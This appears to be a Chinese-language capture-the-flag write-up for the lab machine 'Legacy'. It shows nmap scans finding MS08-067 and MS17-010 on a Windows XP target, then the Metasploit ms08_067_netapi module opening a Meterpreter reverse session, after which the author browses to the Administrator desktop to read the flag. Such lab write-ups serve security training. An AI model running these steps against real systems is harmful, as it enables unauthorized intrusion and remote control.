环境介绍：
名称：Legacy
系统：Windows
信息搜集
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$ sudo nmap -sV -O -F --version-light 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at 2
Nmap scan report for 10.10.10.4
Host is up (0.44s latency).
Not shown: 97 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Device type: general purpose|specialized
Running (JUST GUESSING): Microsoft Windows XP|2003|2000|2008 (92%), General Dynamics embedded (89%)
OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_server_2008::sp2
Aggressive OS guesses: Microsoft Windows XP SP2 or Windows Small Business Server 2003 (92%), Microsoft Windows 2000 SP4 or Windows XP SP2 or SP3 (92%), Microsoft Windows XP SP2 (92%), Microsoft Windows Server 2003 (90%), Microsoft Windows XP SP3 (90%), Microsoft Windows 2000 SP4 (90%), Microsoft Windows XP Professional SP3 (90%), Microsoft Windows XP SP2 or SP3 (90%), Microsoft Windows XP Professional SP2 (90%), Microsoft Windows XP SP2 or Windows Server 2003 (90%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.71 seconds
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漏洞枚举
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$ sudo nmap -p 445 --script vuln 10.10.10.4
Starting Nmap 7.80 ( https://nmap.org ) at
Nmap scan report for 10.10.10.4
Host is up (0.55s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
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| Disclosure date: 2008-10-23
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Nmap done: 1 IP address (1 host up) scanned in 34.42 seconds
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- 这里采用
nmap直接枚举，发现目标有多个漏洞，其中ms08-067比较好利用。
漏洞利用
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msf5 > search ms08-067
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
msf5 > use exploit/windows/smb/ms08_067_netapi
msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.10.10.4
msf5 exploit(windows/smb/ms08_067_netapi) > run
[*] Meterpreter session 1 opened (10.10.16.54:4444 -> 10.10.10.4:1028) at
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flag
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meterpreter > search -f root.txtFound 1 result...
c:\Documents and Settings\Administrator\Desktop\root.txt (32 bytes)
cd ../
cd ../
cd ../
meterpreter > pwd
C:\
meterpreter > cd Documents\ and\ Settings
Listing: C:\Documents and Settings
==================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2017-03-16 14:07:20 +0800 Administrator
40777/rwxrwxrwx 0 dir 2017-03-16 13:20:29 +0800 All Users
40777/rwxrwxrwx 0 dir 2017-03-16 13:20:29 +0800 Default User
40777/rwxrwxrwx 0 dir 2017-03-16 13:32:52 +0800 LocalService
40777/rwxrwxrwx 0 dir 2017-03-16 13:32:42 +0800 NetworkService
40777/rwxrwxrwx 0 dir 2017-03-16 13:33:41 +0800 john
meterpreter > cd Administrator
meterpreter > ls
Listing: C:\Documents and Settings\Administrator
================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:20 +0800 Application Data
40777/rwxrwxrwx 0 dir 2017-03-16 14:07:20 +0800 Cookies
40777/rwxrwxrwx 0 dir 2017-03-16 14:07:20 +0800 Desktop
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:20 +0800 Favorites
40777/rwxrwxrwx 0 dir 2017-03-16 14:07:20 +0800 Local Settings
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:20 +0800 My Documents
100666/rw-rw-rw- 524288 fil 2017-03-16 14:07:20 +0800 NTUSER.DAT
100666/rw-rw-rw- 1024 fil 2017-03-16 14:07:20 +0800 NTUSER.DAT.LOG
40777/rwxrwxrwx 0 dir 2017-03-16 14:07:20 +0800 NetHood
40777/rwxrwxrwx 0 dir 2017-03-16 14:07:20 +0800 PrintHood
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:20 +0800 Recent
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:20 +0800 SendTo
40555/r-xr-xr-x 0 dir 2017-03-16 14:07:20 +0800 Start Menu
40777/rwxrwxrwx 0 dir 2017-03-16 14:07:20 +0800 Templates
100666/rw-rw-rw- 178 fil 2017-03-16 14:07:21 +0800 ntuser.ini
meterpreter > cd Desktop
meterpreter > ls
Listing: C:\Documents and Settings\Administrator\Desktop
========================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 32 fil 2017-03-16 14:18:19 +0800 root.txt
meterpreter > cat root.txt
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心得
很基础，不过对于我这种windows比较弱的还是有一定提升的。
